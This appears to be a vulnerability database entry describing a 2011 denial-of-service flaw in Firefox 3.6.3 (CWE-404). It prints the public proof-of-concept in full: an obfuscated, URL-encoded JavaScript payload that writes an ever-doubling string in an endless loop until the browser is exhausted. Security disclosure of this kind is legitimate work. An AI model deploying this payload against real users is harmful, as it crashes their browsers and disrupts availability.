Mozilla Firefox 3.6.3 JavaScriptCore.dll denial of service

Summaryinfo

A vulnerability was found in Mozilla Firefox 3.6.3 and classified as problematic. This issue affects some unknown processing of the file JavaScriptCore.dll. Executing a manipulation can lead to denial of service. Furthermore, an exploit is available.

Detailsinfo

A vulnerability has been found in Mozilla Firefox 3.6.3 (Web Browser) and classified as problematic. This vulnerability affects an unknown code of the file JavaScriptCore.dll. The manipulation with an unknown input leads to a denial of service vulnerability. The CWE definition for the vulnerability is CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. As an impact it is known to affect availability.

The weakness was published 06/17/2011 as VL-ID 186 as not defined advisory (Website). The advisory is shared for download at vulnerability-lab.com. The attack can be initiated remotely. No form of authentication is required for a successful exploitation. Technical details and also a public exploit are known.

After immediately, there has been an exploit disclosed. It is possible to download the exploit at vulnerability-lab.com. It is declared as proof-of-concept. As 0-day the estimated underground price was around $5k-$25k. The code used by the exploit is:

<script language=JavaScript>m='%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3B%20URL%3Dpoc.html%22%3E%0A%3Cscript%3E%0A
%20%20var%20AAAAAAAAAAAAAAAA%3DString.fromCharCode%2860%2C%20115%2C%2099%2C%20114%2C%20105%2C%20112%2C%20116%2C%2062%2C%20118%2C%2097
%2C%20114%2C%2032%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2
0%0A65%2C%2065%2C%2061%2C%2034%2C%2060%2C%20107%2C%20101%2C%20121%2C%20103%2C%20101%2C%20110%2C%2062%2C%2065%2C%2065%2C%2065%2C%2065%
2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2034%2C%2059%2C%20119%2C%20104%2C%2
0105%2C%20108%2C%20101%2C%2040%2C%20%0A49%2C%2041%2C%20123%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%
2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2061%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C
%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2043%2C%2065%2C%2065%2C%20%0A65%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%20
65%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2059%2C%20100%2C%20111%2C%2099%2C%20117%2C%20109%2C%20101%2C%20110%2C%20
116%2C%2046%2C%20119%2C%20114%2C%20105%2C%20116%2C%20101%2C%20108%2C%20110%2C%2040%2C%2065%2C%2065%2C%2065%2C%2065%2C%20%0A65%2C%2065
%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2065%2C%2041%2C%2059%2C%20125%2C%2060%2C%2047%2C%20115%2C%
2099%2C%20114%2C%20105%2C%20112%2C%20116%2C%2062%29%3B%0A%20%20while%281%29%7B%0A%20%20%20%20AAAAAAAAAAAAAAAA%3DAAAAAAAAAAAAAAAA+AA
AAAAAAAAAAAAAA%3B%0A%20%20%20%20document.writeln%28AAAAAAAAAAAAAAAA%29%3B';d=unescape(m);document.write(d);</script>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Similar entry is available at VDB-91481. VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Type

• Web Browser

Vendor

• Mozilla

Name

• Firefox

Version

• 3.6.3

License

• open-source

Website

• Vendor: https://www.mozilla.org/
• Product: https://www.mozilla.org/en-US/firefox/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

VulDB is the best source for vulnerability data and more expert information about this specific topic.

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